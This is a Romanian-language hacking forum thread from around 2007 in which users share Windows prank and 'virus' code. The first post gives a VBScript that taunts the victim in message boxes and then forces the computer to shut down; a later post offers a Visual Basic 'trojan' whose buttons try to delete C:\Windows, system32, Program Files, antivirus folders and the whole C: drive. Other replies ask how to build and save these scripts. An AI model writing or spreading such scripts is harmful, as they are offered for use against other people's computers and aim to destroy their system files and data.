§Þîrî'][' §qÚåÐ FoRuM 2oo7
Numele forumului cat si aceasta descriere pot fi modificate accesind meniul ADMIN -> OPTIUNI
|
Nou pe simpatie:
beatrice17 din Bucuresti
 | Femeie
25 ani
Bucuresti
cauta Barbat
25 - 80 ani |
|
|
§Þîrî'][' §qÚåÐ FoRuM 2oo7InregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
msgbox " Salut "
msgbox "Ce faci boss?"
msgbox "O duci bine ??"
msgbox "Ei lasa ca trebuie sa mai fie cate unu ca mine care iti strica seara"
msgbox "Uite vreau sa te ajut"
msgbox "...sa dormi mai mult in seara asta..."
msgbox "...asa k m-am hotarat..."
msgbox "...sa iti inchid calculatoru' "
msgbox "bye bye by Lord_DeMonik"
Dim wshshell
set wshshell = wscript.CreateObject("WScript.Shell"
wshshell.run "shutdown -s -f -t 5"
|
|
| |
|
| #2 |
|
|
Poti sa explici ce prgrame ne trebuie sa facem chesile acestea....???
|
|
| |
|
| #4 |
|
|
daca nu ma insel asta trebuie sa scriem intr-un txt , si in ce format trebuie sa salvam?
|
|
| |
|
| #5 |
|
|
lol )
|
|
| |
|
| #6 |
|
|
what ? cum downloadez ala visual basyc esti prost?)
|
|
| |
|
| #7 |
|
|
asta nu e virus :P !!!
Uite ceva mult mai bun :P
'****************************
'Created by GhosT.NiGhT *
'My Trojan v 1.0 *
'It's Time To Play The Game *
'****************************
Private Sub Command1_Click()
b = "D:\Program Files"
Kill b
End Sub
Private Sub Command2_Click()
a = "C:\Windows"
Kill a
End Sub
Private Sub Command3_Click()
a = "C:\Windows"
Kill a
End Sub
Private Sub Command4_Click()
g = "C:\Program Files\Avira"
Kill g
End Sub
Private Sub Command5_Click()
h = "C:\Program Files\Common Files"
Kill h
End Sub
Private Sub Command6_Click()
i = "C:\Program Files\Yahoo!"
Kill i
End Sub
Private Sub Command7_Click()
j = "C:\Program Files\Messenger"
Kill j
End Sub
Private Sub Command8_Click()
k = "C:\Program Files\Ahead"
Kill k
End Sub
Private Sub Command9_Click()
l = "My Computer"
Kill l
End Sub
Private Sub XPButton1_Click()
c = "C:\"
Kill c
End Sub
Private Sub XPButton2_Click()
d = "C:\"
Kill d
End Sub
Private Sub XPButton3_Click()
e = "C:\WINDOWS\system32"
Kill e
End Sub
Private Sub XPButton4_Click()
f = "D:\Program Files"
Kill f
End Sub
_______________________________________
[-€mþîr€-WørlÐ-] ]v[€]v[߀®
|
|
| |
|
